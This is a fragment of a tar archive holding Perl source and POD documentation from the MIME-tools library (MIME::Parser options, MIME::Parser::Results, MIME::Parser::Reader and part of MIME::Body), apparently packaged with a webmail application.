will begin with (assuming that there is no better "recommended filename").  
The default is F<"msg">.

If PREFIX I<is not> given, the current output prefix is returned.
If PREFIX I<is> given, the output directory is set to the new value,
and the previous value is returned.

=cut

sub output_prefix {
    my ($self, $prefix) = @_;
    $self->{MP5_Prefix} = $prefix if (@_ > 1);
    $self->{MP5_Prefix};
}

#------------------------------

=item output_to_core YESNO

I<Instance method.>
Normally, instances of this class output all their decoded body
data to disk files (via MIME::Body::File).  However, you can change 
this behaviour by invoking this method before parsing:

If YESNO is false (the default), then all body data goes 
to disk files.

If YESNO is true, then all body data goes to in-core data structures
This is a little risky (what if someone emails you an MPEG or a tar 
file, hmmm?) but people seem to want this bit of noose-shaped rope,
so I'm providing it.  
Note that setting this attribute true I<does not> mean that parser-internal
temporary files are avoided!  Use L<tmp_to_core()|/tmp_to_core> for that.

With no argument, returns the current setting as a boolean.

=cut

sub output_to_core {
    my ($self, $yesno) = @_;
    if (@_ > 1) {
	$yesno = 0 if ($yesno and $yesno eq 'NONE');
	$self->{MP5_OutputToCore} = $yesno;
    }
    $self->{MP5_OutputToCore};
}

#------------------------------

=item tmp_recycling [YESNO]

I<Instance method.>
Normally, tmpfiles are created when needed during parsing, and
destroyed automatically when they go out of scope.  But for efficiency,
you might prefer for your parser to attempt to rewind and reuse the 
same file until the parser itself is destroyed.

If YESNO is true (the default), we allow recycling; 
tmpfiles persist until the parser itself is destroyed.
If YESNO is false, we do not allow recycling; 
tmpfiles persist only as long as they are needed during the parse.
With no argument, just returns the current setting.

=cut

sub tmp_recycling {
    my ($self, $yesno) = @_;
    $self->{MP5_TmpRecycling} = $yesno if (@_ > 1);
    $self->{MP5_TmpRecycling};
}

#------------------------------

=item tmp_to_core [YESNO]

I<Instance method.>
Should L<new_tmpfile()|/new_tmpfile> create real temp files, or 
use fake in-core ones?  Normally we allow the creation of temporary 
disk files, since this allows us to handle huge attachments even when 
core is limited.

If YESNO is true, we implement new_tmpfile() via in-core handles.
If YESNO is false (the default), we use real tmpfiles.
With no argument, just returns the current setting.

=cut

sub tmp_to_core {
    my ($self, $yesno) = @_;
    $self->{MP5_TmpToCore} = $yesno if (@_ > 1);
    $self->{MP5_TmpToCore};
}

#------------------------------

=item use_inner_files [YESNO]

I<Instance method.>
If you are parsing from a handle which supports seek() and tell(), 
then we can avoid tmpfiles completely by using IO::InnerFile, if so 
desired: basically, we simulate a temporary file via pointers
to virtual start- and end-positions in the input stream.

If YESNO is false (the default), then we will not use IO::InnerFile.
If YESNO is true, we use IO::InnerFile if we can. 
With no argument, just returns the current setting.

B<Note:> inner files are slower than I<real> tmpfiles,
but possibly faster than I<in-core> tmpfiles... so your choice for
this option will probably depend on your choice for 
L<tmp_to_core()|/tmp_to_core> and the kind of input streams you are 
parsing.

=cut

sub use_inner_files {
    my ($self, $yesno) = @_;
    $self->{MP5_UseInnerFiles} = $yesno if (@_ > 1);
    $self->{MP5_UseInnerFiles};
}





#------------------------------------------------------------

=head2 Specifying classes to be instantiated

=over 4

=cut

#------------------------------

=item interface ROLE,[VALUE]

I<Instance method.>
During parsing, the parser normally creates instances of certain classes, 
like MIME::Entity.  However, you may want to create a parser subclass
that uses your own experimental head, entity, etc. classes (for example,
your "head" class may provide some additional MIME-field-oriented methods).

If so, then this is the method that your subclass should invoke during 
init.  Use it like this:

    package MyParser;
    @ISA = qw(MIME::Parser);
    ...
    sub init {
	my $self = shift;
	$self->SUPER::init(@_);        ### do my parent's init
        $self->interface(ENTITY_CLASS => 'MIME::MyEntity');
	$self->interface(HEAD_CLASS   => 'MIME::MyHead');
	$self;                         ### return
    }

With no VALUE, returns the VALUE currently associated with that ROLE.

=cut

sub interface {
    my ($self, $role, $value) = @_;
    $self->{MP5_Interface}{$role} = $value if (defined($value));
    $self->{MP5_Interface}{$role};
}

=back

=cut

#------------------------------

=item new_body_for HEAD

I<Instance method.>
Based on the HEAD of a part we are parsing, return a new
body object (any desirable subclass of MIME::Body) for
receiving that part's data.

If you set the C<output_to_core> option to false before parsing
(the default), then we examine the HEAD for a recommended
filename (generating a random one if none is available), 
and create a new MIME::Body::File on that filename in the parser's 
current C<output_dir()>.

If you set the C<output_to_core> option to true before parsing, 
then you get a MIME::Body::InCore instead.

If you want the parser to do something else entirely, you can
override this method in a subclass.

=cut

sub new_body_for {
    my ($self, $head) = @_;

    if ($self->output_to_core) {
	$self->debug("outputting body to core");
	return (new MIME::Body::InCore);
    }
    else {
	my $outpath = $self->output_path($head);
	$self->debug("outputting body to disk file: $outpath");
	return (new MIME::Body::File $outpath);
    }
}

#------------------------------

=item new_tmpfile [RECYCLE]

I<Instance method.>
Return an IO handle to be used to hold temporary data during a parse.
The default uses the standard IO::File->new_tmpfile() method unless
L<tmp_to_core()|/tmp_to_core> dictates otherwise, but you can override this.  
You shouldn't need to.

If you do override this, make certain that the object you return is 
set for binmode(), and is able to handle the following methods:

    read(BUF, NBYTES)
    getline()
    getlines()
    print(@ARGS)
    flush() 
    seek(0, 0)

Fatal exception if the stream could not be established.

If RECYCLE is given, it is an object returned by a previous invocation 
of this method; to recycle it, this method must effectively rewind and 
truncate it, and return the same object.  If you don't want to support
recycling, just ignore it and always return a new object.

=cut

sub new_tmpfile {
    my ($self, $recycle) = @_;

    my $io;
    if ($self->{MP5_TmpToCore}) {         ### Use an in-core tmpfile (slow)
	$io = IO::ScalarArray->new;
    }
    else {                                ### Use a real tmpfile (fast)
	                                       ### Recycle?
	if ($self->{TmpRecycling} &&                 ### we're recycling
	    $recycle &&                              ### something to recycle
	    $Config{'truncate'} && $io->can('seek')  ### recycling will work
	    ){                 	
	    $self->debug("recycling tmpfile: $io");
	    $io->seek(0, 0);
	    truncate($io, 0);
	}
	else {                                 ### Return a new one:
	    $io = IO::File->new_tmpfile || die "can't open tmpfile: $!\n";
	    binmode($io);
	}
    }
    return $io;
}

=back

=cut






#------------------------------------------------------------

=head2 Parse results and error recovery

=over 4

=cut

#------------------------------

=item last_error

I<Instance method.>
Return the error (if any) that we ignored in the last parse.

=cut

sub last_error {
    join '', shift->results->errors;
}


#------------------------------

=item last_head

I<Instance method.>
Return the top-level MIME header of the last stream we attempted to parse.
This is useful for replying to people who sent us bad MIME messages.

    ### Parse an input stream:
    eval { $entity = $parser->parse(\*STDIN) };
    if (!$entity) {    ### parse failed!
	my $decapitated = $parser->last_head;  
	...
    }

=cut

sub last_head {
    shift->results->top_head;
}

#------------------------------

=item results

I<Instance method.>
Return an object containing lots of info from the last entity parsed.
This will be an instance of class 
L<MIME::Parser::Results|MIME::Parser::Results>.

=cut

sub results {
    shift->{MP5_Results};
}


=back

=cut


#------------------------------
1;
__END__


=head1 OPTIMIZING YOUR PARSER


=head2 Maximizing speed

Optimum input mechanisms:

    parse()                    YES (if you give it a globref or a subclass 
				    of IO::File)
    parse_open()               YES
    parse_data()               NO  (see below)
    parse_two()                NO  (see below)
    
Optimum settings:

    decode_headers()           *** (no real difference; 0 is slightly faster)
    extract_nested_messages()  0   (may be slightly faster, but in general 
                                    you want it set to 1)
    output_to_core()           0   (will be MUCH faster)
    tmp_recycling()            1?  (probably, but should be investigated)
    tmp_to_core()              0   (will be MUCH faster)
    use_inner_files()          0   (if tmp_to_core() is 0; use 1 otherwise)

B<File I/O is much faster than in-core I/O.>
Although it I<seems> like slurping a message into core and
processing it in-core should be faster... it isn't.
Reason: Perl's filehandle-based I/O translates directly into 
native operating-system calls, whereas the in-core I/O is 
implemented in Perl.

B<Inner files are slower than real tmpfiles, but faster than in-core ones.>
If speed is your concern, that's why
you should set use_inner_files(true) if you set tmp_to_core(true):
so that we can bypass the slow in-core tmpfiles if the input stream 
permits.

B<Native I/O is much faster than object-oriented I/O.>
It's much faster to use E<lt>$fooE<gt> than $foo-E<gt>getline.
For backwards compatibilty, this module must continue to use 
object-oriented I/O in most places, but if you use L<parse()|/parse> 
with a "real" filehandle (string, globref, or subclass of IO::File)
then MIME::Parser is able to perform some crucial optimizations.  

B<The parse_two() call is very inefficient.>
Currently this is just a front-end onto parse_data().
If your OS supports it, you're I<far> better off doing something like:

    $parser->parse_open("/bin/cat msg.head msg.body |");




=head2 Minimizing memory

Optimum input mechanisms:

    parse()                    YES
    parse_open()               YES
    parse_data()               NO  (in-core I/O will burn core)
    parse_two()                NO  (in-core I/O will burn core)
    
Optimum settings:

    decode_headers()           *** (no real difference)
    extract_nested_messages()  *** (no real difference)
    output_to_core()           0   (will use MUCH less memory)
    tmp_recycling()            0?  (promotes faster GC if tmp_to_core is 1)
    tmp_to_core()              0   (will use MUCH less memory)
    use_inner_files()          *** (no real difference, but set it to 1 
				    if you *must* have tmp_to_core set to 1,
				    so that you avoid in-core tmpfiles)


=head2 Maximizing tolerance of bad MIME

Optimum input mechanisms:

    parse()                    *** (doesn't matter)
    parse_open()               *** (doesn't matter)
    parse_data()               *** (doesn't matter)
    parse_two()                *** (doesn't matter)
    
Optimum settings:

    decode_headers()           0   (sidesteps problem of bad hdr encodings)
    extract_nested_messages()  0   (sidesteps problems of bad nested messages,
                                    but often you want it set to 1 anyway).
    output_to_core()           *** (doesn't matter)
    tmp_recycling()            *** (doesn't matter)
    tmp_to_core()              *** (doesn't matter)
    use_inner_files()          *** (doesn't matter)


=head2 Avoiding disk-based temporary files

Optimum input mechanisms:

    parse()                    YES (if you give it a seekable handle)
    parse_open()               YES (becomes a seekable handle) 
    parse_data()               NO  (unless you set tmp_to_core(1))
    parse_two()                NO  (unless you set tmp_to_core(1))
    
Optimum settings:

    decode_headers()           *** (doesn't matter)
    extract_nested_messages()  *** (doesn't matter)
    output_to_core()           *** (doesn't matter)
    tmp_recycling              1   (restricts created files to 1 per parser)
    tmp_to_core()              1 
    use_inner_files()          1

B<If we can use them, inner files avoid most tmpfiles.>`<
If you parse from a seekable-and-tellable filehandle, then the internal 
process_to_bound() doesn't need to extract each part into a temporary 
buffer; it can use IO::InnerFile (B<warning:> this will slow down 
the parsing of messages with large attachments).

B<You can veto tmpfiles entirely.>
If you might not be parsing from a seekable-and-tellable filehandle,
you can set L<tmp_to_core()|/tmp_to_core> true: this will always 
use in-core I/O for the buffering (B<warning:> this will slow down 
the parsing of messages with large attachments).  

B<Final resort.>
You can always override L<new_tmpfile()|/new_tmpfile> in a subclass.







=head1 WARNINGS

=over 4

=item Multipart messages are always read line-by-line 

Multipart document parts are read line-by-line, so that the
encapsulation boundaries may easily be detected.  However, bad MIME
composition agents (for example, naive CGI scripts) might return
multipart documents where the parts are, say, unencoded bitmap
files... and, consequently, where such "lines" might be 
veeeeeeeeery long indeed.

A better solution for this case would be to set up some form of 
state machine for input processing.  This will be left for future versions.


=item Multipart parts read into temp files before decoding

In my original implementation, the MIME::Decoder classes had to be aware
of encapsulation boundaries in multipart MIME documents.
While this decode-while-parsing approach obviated the need for 
temporary files, it resulted in inflexible and complex decoder
implementations.

The revised implementation uses a temporary file (a la C<tmpfile()>)
during parsing to hold the I<encoded> portion of the current MIME 
document or part.  This file is deleted automatically after the
current part is decoded and the data is written to the "body stream"
object; you'll never see it, and should never need to worry about it.

Some folks have asked for the ability to bypass this temp-file
mechanism, I suppose because they assume it would slow down their application.
I considered accomodating this wish, but the temp-file
approach solves a lot of thorny problems in parsing, and it also
protects against hidden bugs in user applications (what if you've
directed the encoded part into a scalar, and someone unexpectedly
sends you a 6 MB tar file?).  Finally, I'm just not conviced that 
the temp-file use adds significant overhead.


=item Fuzzing of CRLF and newline on input

RFC-1521 dictates that MIME streams have lines terminated by CRLF
(C<"\r\n">).  However, it is extremely likely that folks will want to 
parse MIME streams where each line ends in the local newline 
character C<"\n"> instead. 

An attempt has been made to allow the parser to handle both CRLF 
and newline-terminated input.


=item Fuzzing of CRLF and newline on output

The C<"7bit"> and C<"8bit"> decoders will decode both
a C<"\n"> and a C<"\r\n"> end-of-line sequence into a C<"\n">.

The C<"binary"> decoder (default if no encoding specified) 
still outputs stuff verbatim... so a MIME message with CRLFs 
and no explicit encoding will be output as a text file 
that, on many systems, will have an annoying ^M at the end of
each line... I<but this is as it should be>.


=item Inability to handle multipart boundaries that contain newlines

First, let's get something straight: I<this is an evil, EVIL practice,>
and is incompatible with RFC-1521... hence, it's not valid MIME.

If your mailer creates multipart boundary strings that contain
newlines I<when they appear in the message body,> give it two weeks notice 
and find another one.  If your mail robot receives MIME mail like this, 
regard it as syntactically incorrect MIME, which it is.

Why do I say that?  Well, in RFC-1521, the syntax of a boundary is 
given quite clearly:

      boundary := 0*69<bchars> bcharsnospace
        
      bchars := bcharsnospace / " "
      
      bcharsnospace :=    DIGIT / ALPHA / "'" / "(" / ")" / "+" /"_"
                   / "," / "-" / "." / "/" / ":" / "=" / "?"

All of which means that a valid boundary string I<cannot> have 
newlines in it, and any newlines in such a string in the message header
are expected to be solely the result of I<folding> the string (i.e.,
inserting to-be-removed newlines for readability and line-shortening 
I<only>).

Yet, there is at least one brain-damaged user agent out there 
that composes mail like this:

      MIME-Version: 1.0
      Content-type: multipart/mixed; boundary="----ABC-
       123----"
      Subject: Hi... I'm a dork!
      
      This is a multipart MIME message (yeah, right...)
      
      ----ABC-
       123----
      
      Hi there! 

We have I<got> to discourage practices like this (and the recent file
upload idiocy where binary files that are part of a multipart MIME
message aren't base64-encoded) if we want MIME to stay relatively 
simple, and MIME parsers to be relatively robust. 

I<Thanks to Andreas Koenig for bringing a baaaaaaaaad user agent to
my attention.>


=back



=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.



=head1 VERSION

$Revision: 5.209 $ $Date: 2000/06/24 06:32:39 $

=cut




wm357/MIME/Parser/ 40755    312    144           0  7245677670  12663 5ustar  webmailuserswm357/MIME/Parser/Results.pm100755    312    144        5241  7125053010  14731 0ustar  webmailuserspackage MIME::Parser::Results;

=head1 NAME

MIME::Parser::Results - results of the last entity parsed


=head1 SYNOPSIS

   ### Do parse, get results:
   my $entity = eval { $parser->parse(\*STDIN); };
   my $results  = $parser->results;
   
   ### Get all messages logged:
   @msgs = $results->msgs;
   
   ### Get messages of specific types (also tests if there were problems):
   $had_errors   = $results->errors;
   $had_warnings = $results->warnings;
    
   ### Get outermost header:
   $top_head  = $results->top_head;


=head1 DESCRIPTION

Results from the last MIME::Parser parse.


=head1 PUBLIC INTERFACE

=over 4

=cut

use strict;

### Kit modules:
use MIME::Tools qw(:msgs);


#------------------------------

=item new

I<Constructor.>

=cut

sub new {
    bless {
	MPI_ID    => 'MIME-parser',
	MPI_Msgs  => [],
	MPI_Level => 0,
	MPI_TopHead => undef,
    }, shift;
}

#------------------------------

=item msgs

I<Instance method.>  
Return all messages that we logged, in order.
Every message is a string beginning with its type followed by C<": ">; 
the current types are C<debug>, C<warning>, and C<error>.

=cut

sub msgs { 
    @{shift->{MPI_Msgs}};
}

#------------------------------

=item errors

I<Instance method.>  
Return all error messages that we logged, in order.
A convenience front-end onto msgs().

=cut

sub errors { 
    grep /^error: /, @{shift->{MPI_Msgs}};
}

#------------------------------

=item warnings

I<Instance method.>  
Return all warning messages that we logged, in order.
A convenience front-end onto msgs().

=cut

sub warnings { 
    grep /^warning: /, @{shift->{MPI_Msgs}};
}

#------------------------------

=item top_head

I<Instance method.>  
Return the topmost header, if we were able to read it.
This may be useful if the parse fails.

=cut

sub top_head { 
    my ($self, $head) = @_;
    $self->{MPI_TopHead} = $head if @_ > 1;
    $self->{MPI_TopHead};
}




#------------------------------
#
# PRIVATE: FOR USE DURING PARSING ONLY!
#

#------------------------------
#
# msg TYPE, MESSAGE...
#
# Take a message.
#
sub msg {
    my $self = shift;
    my $type = shift;
    my @args = map { defined($_) ? $_ : '<<undef>>' } @_;

    push @{$self->{MPI_Msgs}}, ($type.": ".join('', @args)."\n");
}

#------------------------------
#
# level [+1|-1]
#
sub level {
    my ($self, $lvl) = @_;
    $self->{MPI_Level} += $lvl if @_ > 1;
    $self->{MPI_Level};
}

=back

=cut

1;
__END__


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.208 $











wm357/MIME/Parser/Reader.pm100755    312    144       16461  7125040710  14523 0ustar  webmailuserspackage MIME::Parser::Reader;

=head1 NAME

MIME::Parser::Reader - a line-oriented reader for a MIME::Parser


=head1 SYNOPSIS

    ### Create a top-level reader, where chunks end at EOF:
    $rdr = MIME::Parser::Reader->new();
      
    ### Spawn a child reader, where chunks also end at a boundary:
    $subrdr = $rdr->spawn->add_boundary($bound);
     
    ### Spawn a child reader, where chunks also end at a given string:
    $subrdr = $rdr->spawn->add_terminator($string);
     
    ### Read until boundary or terminator:
    $subrdr->read_chunk($in, $out);


=head1 DESCRIPTION

A line-oriented reader which can deal with virtual end-of-stream
defined by a collection of boundaries. 

B<Warning:> this is a private class solely for use by MIME::Parser.
This class has no official public interface

=cut

use strict;
use IO::ScalarArray;

### All possible end-of-line sequences.
### Note that "" is included because last line of stream may have no newline!
my @EOLs = ("", "\r", "\n", "\r\n", "\n\r");

### Long line:
my $LONGLINE = ' ' x 1000;


#------------------------------
#
# new
#
# I<Class method.>
# Construct an empty (top-level) reader.
#
sub new {
    my ($class) = @_;
    my $eos;
    return bless {
	Bounds => [],
	BH     => {},
	TH     => {},
	EOS    => \$eos,
    }, $class;
}

#------------------------------
#
# spawn
#
# I<Instance method.>
# Return a reader which is mostly a duplicate, except that the EOS 
# accumulator is shared.
#
sub spawn {
    my $self = shift;
    my $dup = bless {}, ref($self);
    $dup->{Bounds} = [ @{$self->{Bounds}} ];  ### deep copy
    $dup->{BH}     = { %{$self->{BH}} };      ### deep copy
    $dup->{TH}     = { %{$self->{TH}} };      ### deep copy
    $dup->{EOS}    = $self->{EOS};            ### shallow copy; same ref!
    $dup;
}

#------------------------------
#
# add_boundary BOUND
#
# I<Instance method.>
# Let BOUND be the new innermost boundary.  Returns self.
#
sub add_boundary {
    my ($self, $bound) = @_;
    unshift @{$self->{Bounds}}, $bound;   ### now at index 0
    $self->{BH}{"--$bound"}   = "DELIM $bound";
    $self->{BH}{"--$bound--"} = "CLOSE $bound";
    $self;
}

#------------------------------
#
# add_terminator LINE
#
# I<Instance method.>
# Let LINE be another terminator.  Returns self.
#
sub add_terminator {
    my ($self, $line) = @_;
    foreach (@EOLs) {
	$self->{TH}{"$line$_"} = "DONE $line";
    }
    $self;
}

#------------------------------
#
# has_bounds
#
# I<Instance method.>
# Are there boundaries to contend with?
#
sub has_bounds {
    scalar(@{shift->{Bounds}});
}

#------------------------------
#
# depth
#
# I<Instance method.>
# How many levels are there? 
#
sub depth {
    scalar(@{shift->{Bounds}});
}

#------------------------------
#
# eos [EOS]
#
# I<Instance method.>
# Return the last end-of-stream token seen.
# See read_chunk() for what these might be.
#
sub eos {
    my $self = shift;
    ${$self->{EOS}} = $_[0] if @_;
    ${$self->{EOS}};
}

#------------------------------
#
# eos_type [EOSTOKEN]
#
# I<Instance method.>
# Return the high-level type of the given token (defaults to our token).
#
#    DELIM       saw an innermost boundary like --xyz
#    CLOSE       saw an innermost boundary like --xyz-- 
#    DONE        callback returned false
#    EOF         end of file
#    EXT         saw boundary of some higher-level
#
sub eos_type {
    my ($self, $eos) = @_;
    $eos = $self->eos if (@_ == 1);

    if    ($eos =~ /^(DONE|EOF)/) {
	return $1;
    }
    elsif ($eos =~ /^(DELIM|CLOSE) (.*)$/) {
	return (($2 eq $self->{Bounds}[0]) ? $1 : 'EXT');
    }
    else {
	die("internal error: unable to classify boundary token ($eos)");
    }
}

#------------------------------
#
# native_handle HANDLE
#
# I<Function.>
# Can we do native i/o on HANDLE?  If true, returns the handle
# that will respond to native I/O calls; else, returns undef.
#
sub native_handle {
    my $fh = shift;
    return $fh  if $fh->isa('IO::File');
    return $$fh if ($fh->isa('IO::Wrap') && (ref($$fh) eq 'GLOB'));
    undef;
}

#------------------------------
#
# read_chunk INHANDLE, OUTHANDLE
#
# I<Instance method.>
# Get lines until end-of-stream.
# Returns the terminating-condition token:
#
#    DELIM xyz   saw boundary line "--xyz"
#    CLOSE xyz   saw boundary line "--xyz--"
#    DONE xyz    saw terminator line "xyz"
#    EOF         end of file

# Parse up to (and including) the boundary, and dump output.
# Follows the RFC-1521 specification, that the CRLF immediately preceding 
# the boundary is part of the boundary, NOT part of the input!
#
# NOTE: while parsing, we take care to remember the EXACT end-of-line
# sequence.  This is because we *may* be handling 'binary' encoded data, and 
# in that case we can't just massage \r\n into \n!  Don't worry... if the
# data is styled as '7bit' or '8bit', the "decoder" will massage the CRLF
# for us.  For now, we're just trying to chop up the data stream.

# NBK - Oct 12, 1999
# The CRLF at the end of the current line is considered part
# of the boundary.  I buffer the current line and output the
# last.  I strip the last CRLF when I hit the boundary.

sub read_chunk {
    my ($self, $in, $out) = @_;
    
    ### Init:
    my %bh = %{$self->{BH}};
    my %th = %{$self->{TH}}; my $thx = keys %th;
    local $_ = $LONGLINE;
    my $maybe;
    my $last = '';
    my $eos  = '';
    
    ### Determine types:
    my $n_in  = native_handle($in);
    my $n_out = native_handle($out);

    ### Handle efficiently by type:
    if ($n_in) {
	if ($n_out) {            ### native input, native output [fastest]
	    while (<$n_in>) {
		if (substr($_, 0, 2) eq '--') {
		    ($maybe = $_) =~ s/[ \t\r\n]+\Z//;
		    $bh{$maybe} and do { $eos = $bh{$maybe}; last };
		}
		$thx and $th{$_} and do { $eos = $th{$_}; last };
		print $n_out $last; $last = $_; 
	    }
	}
	else {                   ### native input, OO output [slower]
	    while (<$n_in>) { 
		if (substr($_, 0, 2) eq '--') {
		    ($maybe = $_) =~ s/[ \t\r\n]+\Z//;
		    $bh{$maybe} and do { $eos = $bh{$maybe}; last };
		}
		$thx and $th{$_} and do { $eos = $th{$_}; last };
		$out->print($last); $last = $_; 
	    }
	}
    }
    else {
	if ($n_out) {            ### OO input, native output [even slower]
	    while (defined($_ = $in->getline)) { 
		if (substr($_, 0, 2) eq '--') {
		    ($maybe = $_) =~ s/[ \t\r\n]+\Z//;
		    $bh{$maybe} and do { $eos = $bh{$maybe}; last };
		}
		$thx and $th{$_} and do { $eos = $th{$_}; last };
		print $n_out $last; $last = $_;  
	    }
	}
	else {                   ### OO input, OO output [slowest]
	    while (defined($_ = $in->getline)) { 
		if (substr($_, 0, 2) eq '--') {
		    ($maybe = $_) =~ s/[ \t\r\n]+\Z//;
		    $bh{$maybe} and do { $eos = $bh{$maybe}; last };
		}
		$thx and $th{$_} and do { $eos = $th{$_}; last };
		$out->print($last); $last = $_; 
	    }
	}
    }
    
    ### Write out last held line, removing terminating CRLF if ended on bound:
    $last =~ s/[\r\n]+\Z// if ($eos =~ /^(DELIM|CLOSE)/);
    $out->print($last);

    ### Save and return what we finished on:
    ${$self->{EOS}} = ($eos || 'EOF');
    1;
}

#------------------------------
#
# read_lines INHANDLE, \@OUTLINES
#
# I<Instance method.>
# Read lines into the given array.
# 
sub read_lines {
    my ($self, $in, $outlines) = @_;
    $self->read_chunk($in, IO::ScalarArray->new($outlines));
    shift @$outlines if ($outlines->[0] eq '');   ### leading empty line
    1;
}

1;
__END__

wm357/MIME/Body.pm100755    312    144       40131  7120361112  12746 0ustar  webmailuserspackage MIME::Body;


=head1 NAME

MIME::Body - the body of a MIME message


=head1 SYNOPSIS

=head2 Obtaining bodies

   ### Get the bodyhandle of a MIME::Entity object:
   $body = $entity->bodyhandle;

   ### Create a body which stores data in a disk file:
   $body = new MIME::Body::File "/path/to/file";

   ### Create a body which stores data in an in-core array:
   $body = new MIME::Body::InCore \@strings;


=head2 Opening, closing, and using IO handles

   ### Write data to the body:
   $IO = $body->open("w")      || die "open body: $!";
   $IO->print($message);
   $IO->close                  || die "close I/O handle: $!";
   
   ### Read data from the body (in this case, line by line):
   $IO = $body->open("r")      || die "open body: $!";
   while (defined($_ = $IO->getline)) {
       ### do stuff
   }
   $IO->close                  || die "close I/O handle: $!";
    

=head2 Other I/O

   ### Dump the ENCODED body data to a filehandle:
   $body->print(\*STDOUT);
       
   ### Slurp all the UNENCODED data in, and put it in a scalar:
   $string = $body->as_string;
   
   ### Slurp all the UNENCODED data in, and put it in an array of lines:
   @lines = $body->as_lines;


=head2 Working directly with paths to underlying files

   ### Where's the data?
   if (defined($body->path)) {   ### data is on disk:
       print "data is stored externally, in ", $body->path;
   }
   else {                        ### data is in core:
       print "data is already in core, and is...\n", $body->as_string;
   }
     
   ### Get rid of anything on disk:
   $body->purge;


=head1 DESCRIPTION

MIME messages can be very long (e.g., tar files, MPEGs, etc.) or very
short (short textual notes, as in ordinary mail).  Long messages
are best stored in files, while short ones are perhaps best stored
in core.

This class is an attempt to define a common interface for objects
which contain message data, regardless of how the data is
physically stored.  The lifespan of a "body" object
usually looks like this:

=over 4

=item 1.

B<Body object is created by a MIME::Parser during parsing.>
It's at this point that the actual MIME::Body subclass is chosen,
and new() is invoked.  (For example: if the body data is going to 
a file, then it is at this point that the class MIME::Body::File,
and the filename, is chosen).

=item 2.

B<Data is written to the body> (usually by the MIME parser) like this:
The body is opened for writing, via C<open("w")>.  This will trash any 
previous contents, and return an "I/O handle" opened for writing.  
Data is written to this I/O handle, via print().
Then the I/O handle is closed, via close().

=item 3. 

B<Data is read from the body> (usually by the user application) like this: 
The body is opened for reading by a user application, via C<open("r")>.
This will return an "I/O handle" opened for reading.
Data is read from the I/O handle, via read(), getline(), or getlines().
Then the I/O handle is closed, via close().

=item 4. 

B<Body object is destructed.>

=back

You can write your own subclasses, as long as they follow the
interface described below.  Implementers of subclasses should assume
that steps 2 and 3 may be repeated any number of times, and in
different orders (e.g., 1-2-2-3-2-3-3-3-3-3-2-4).

In any case, once a MIME::Body has been created, you ask to open it
for reading or writing, which gets you an "i/o handle": you then use 
the same mechanisms for reading from or writing to that handle, no matter 
what class it is.

Beware: unless you know for certain what kind of body you have, you
should I<not> assume that the body has an underlying filehandle.


=head1 PUBLIC INTERFACE

=over 4

=cut


### Pragmas:
use strict;
use vars qw($VERSION); 

### System modules:
use Carp;
use IO::Scalar;

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.203 $, 10;


#------------------------------

=item new ARGS...

I<Class method, constructor.>
Create a new body.  Any ARGS are sent to init().

=cut

sub new {
    my $self = bless {}, shift;
    $self->init(@_);
    $self;
}

#------------------------------

=item init ARGS...

I<Instance method, abstract, initiallizer.>
This is called automatically by C<new()>, with the arguments given
to C<new()>.  The arguments are optional, and entirely up to the
subclass.  The default method does nothing,

=cut

sub init { 1 }

#------------------------------

=item as_lines

I<Instance method.>
Return the contents of the body as an array of lines (each terminated
by a newline, with the possible exception of the final one).
Returns empty on failure (NB: indistinguishable from an empty body!).

Note: the default method gets the data via
repeated getline() calls; your subclass might wish to override this.

=cut

sub as_lines {
    my $self = shift;
    my @lines;
    my $io = $self->open("r") || return ();
    push @lines, $_ while (defined($_ = $io->getline()));
    $io->close;
    @lines;
}

#------------------------------

=item as_string

I<Instance method.>
Return the body data as a string (slurping it into core if necessary).  
Best not to do this unless you're I<sure> that the body is reasonably small!
Returns empty string for an empty body, and undef on failure.

Note: the default method uses print(), which gets the data via
repeated read() calls; your subclass might wish to override this.

=cut

sub as_string {
    my $self = shift;
    my $str = '';
    my $out = new IO::Scalar \$str;
    $self->print($out);
    return $str;
}
*data = \&as_string;         ### silenty invoke preferred usage

#------------------------------

=item binmode [ONOFF]

I<Instance method.>
With argument, flags whether or not open() should return an I/O handle
which has binmode() activated.  With no argument, just returns the
current value.  

=cut

sub binmode {
    my ($self, $onoff) = @_;
    $self->{MB_Binmode} = $onoff if (@_ > 1);
    $self->{MB_Binmode};
}

#------------------------------

=item dup

I<Instance method.>
Duplicate the bodyhandle.

I<Beware:> external data in bodyhandles is I<not> copied to new files!  
Changing the data in one body's data file, or purging that body,
I<will> affect its duplicate.  Bodies with in-core data probably need
not worry.

=cut

sub dup {
    my $self = shift;
    bless { %$self }, ref($self);   ### shallow copy ok for ::File and ::Scalar
}

#------------------------------

=item open READWRITE

I<Instance method, abstract.>
This should do whatever is necessary to open the body for either
writing (if READWRITE is "w") or reading (if mode is "r").

This method is expected to return an "I/O handle" object on success,
and undef on error.  An I/O handle can be any object that supports a 
small set of standard methods for reading/writing data.  
See the IO::Handle class for an example.

=cut

sub open {
    undef;
}

#------------------------------

=item path [PATH]

I<Instance method.>
If you're storing the body data externally (e.g., in a disk file), you'll 
want to give applications the ability to get at that data, for cleanup.  
This method should return the path to the data, or undef if there is none.

Where appropriate, the path I<should> be a simple string, like a filename.
With argument, sets the PATH, which should be undef if there is none.

=cut

sub path {
    my $self = shift;
    $self->{MB_Path} = shift if @_;
    $self->{MB_Path};
}

#------------------------------

=item print FILEHANDLE

I<Instance method.>
Output the body data to the given filehandle, or to the currently-selected 
one if none is given.

=cut

sub print {
    my ($self, $fh) = @_;
    my $nread;

    ### Get output filehandle, and ensure that it's a printable object:
    $fh = IO::Wrap::wraphandle($fh || select);

    ### Write it:
    my $buf = '';
    my $io = $self->open("r") || return undef;
    $fh->print($buf) while ($nread = $io->read($buf, 2048));
    $io->close;
    return defined($nread);    ### how'd we do?
}

#------------------------------

=item purge

I<Instance method, abstract.>
Remove any data which resides external to the program (e.g., in disk files).
Immediately after a purge(), the path() should return undef to indicate
that the external data is no longer available.

=cut

sub purge {
    1;
}



=back

=head1 SUBCLASSES

The following built-in classes are provided:

   Body                 Stores body     When open()ed,
   class:               data in:        returns:    
   --------------------------------------------------------
   MIME::Body::File     disk file       IO::Handle   
   MIME::Body::Scalar   scalar          IO::Scalar  
   MIME::Body::InCore   scalar array    IO::ScalarArray

=cut


#------------------------------------------------------------
package MIME::Body::File;
